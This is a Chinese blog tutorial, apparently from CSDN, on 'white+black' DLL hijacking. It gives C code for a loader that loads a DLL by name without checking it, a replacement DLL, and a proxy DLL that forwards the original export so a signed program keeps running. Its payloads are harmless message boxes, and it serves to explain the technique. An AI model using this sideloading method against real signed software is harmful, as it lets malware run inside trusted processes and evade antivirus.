白+黑(白利用)漏洞加载木马技术解析

本文通过编程模拟白加黑技术,解析白利用漏洞原理。利用带数字签名的可执行文件加载未经验证的DLL文件,使恶意DLL加载到可信环境中,绕过杀毒软件检测。通过具体示例展示如何实现DLL劫持。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

刚上高中那个暑假?记不太清了,好像就是那个时候开始的白加黑木马爆发,因为利用率几乎不可能解决的
逻辑缺陷,所以杀软的防御基本永远没法从根本上去拦截。百度也没什么这个漏洞的基础解析,下面通过编
程实现一个模拟这个漏洞的东西实现白加黑技术初步解析。

1.白利用漏洞基本原理:

利用了大公司代码的编写缺陷,比如某宝的某个exe程序,自带数字签名,他运行的时候会动态加载其目录下的dll文件
(loadlibrary),getprocaddress使用dll的扩展函数,但是loadlibrary的dll并未作验证,这样我们只要将
我们编写的同名木马dll放到他的目录下,运行这个带有签名的exe,让我们的木马dll加载到一个绝对可信空间,杀毒
软件碍于性能,检验粒度不可能精确到dll模块,所以exe的绝对可信会导致杀软放行一切行为,实施攻击。

2.下面使用自己编写的dll文件测试:

//带有漏洞的LOADER(白文件)
#include "windows.h"
#include "iostream.h"

void main()
{
    HINSTANCE h;
    h=LoadLibrary("3.dll");
    typedef void (*SW)();
    SW ShowMsg=(SW)GetProcAddress(h,"ShowMessage");
    ShowMsg();
}
//加载其目录下的**3.dll**,并从中获取**ShowMessage**的地址然后动态调用
//原始的dll文件(未被替换的3.dll)
#include "windows.h"

void ShowMessage();

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL,"2","2",MB_OK);
        break;

    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

void ShowMessage()
{
    MessageBox(NULL,"1","1",MB_OK);
}
//3.dll     只有一个导出函数ShowMessage(),用来弹出消息   (TEXT=1)
//3.dll     Dllmain函数会在被加载时弹出消息   (TEXT=2)

3.预期效果

loader加载3.dll,然后进入dllmain函数除法TEXT=2消息,然后获取ShowMessage地址,调用这个函数弹出TEXT=1消息

实测达成预期

4.后门dll编写

//hack.dll  ---改名-->   3.dll
#include "windows.h"


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL,"hack","hack",MB_OK);
        break;

    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

替换正常3.dll,弹出TEXT=hack 消息,并弹出错误提示,不能获得ShowMessage地址

怎么解决白loader一调用GetProcAddress就出错的问题?

6.加载白dll,动态将函数“拷贝”进入黑dll

用loadpe工具查看白dll的输出表,获得输出函数的名字
1

函数只有一个,名字叫ShowMessage,逆向得到这个函数的参数数目和参数类型,因为这里知道函数原型所以直接修改hack.dll

7.修改hack.dll加载原始dll并动态获取原始dll的函数赋值给hack.dll中的同名函数指针,使得原始loader调用getprocadderss时不会发生异常

//1.cpp
#include "windows.h"
typedef void (*SM)();
SM ShowMessage=NULL;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL,"hack","hack",MB_OK);
        HINSTANCE orgdll=LoadLibrary("2.dll");
        ShowMessage=(SM)GetProcAddress(orgdll,"ShowMessage");
        break;
    }
    return TRUE;
}


//hack.def
LIBRARY hack

EXPORTS
ShowMessage

弹出TEXT=hack消息然后弹出TEXT=2消息…….nice~~成功实现。

这里成功实现了dll劫持,但是并不清楚真正的白利用是不是这个方式,后续查阅资料,如果实现方式并非这种的话,我会续更的
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值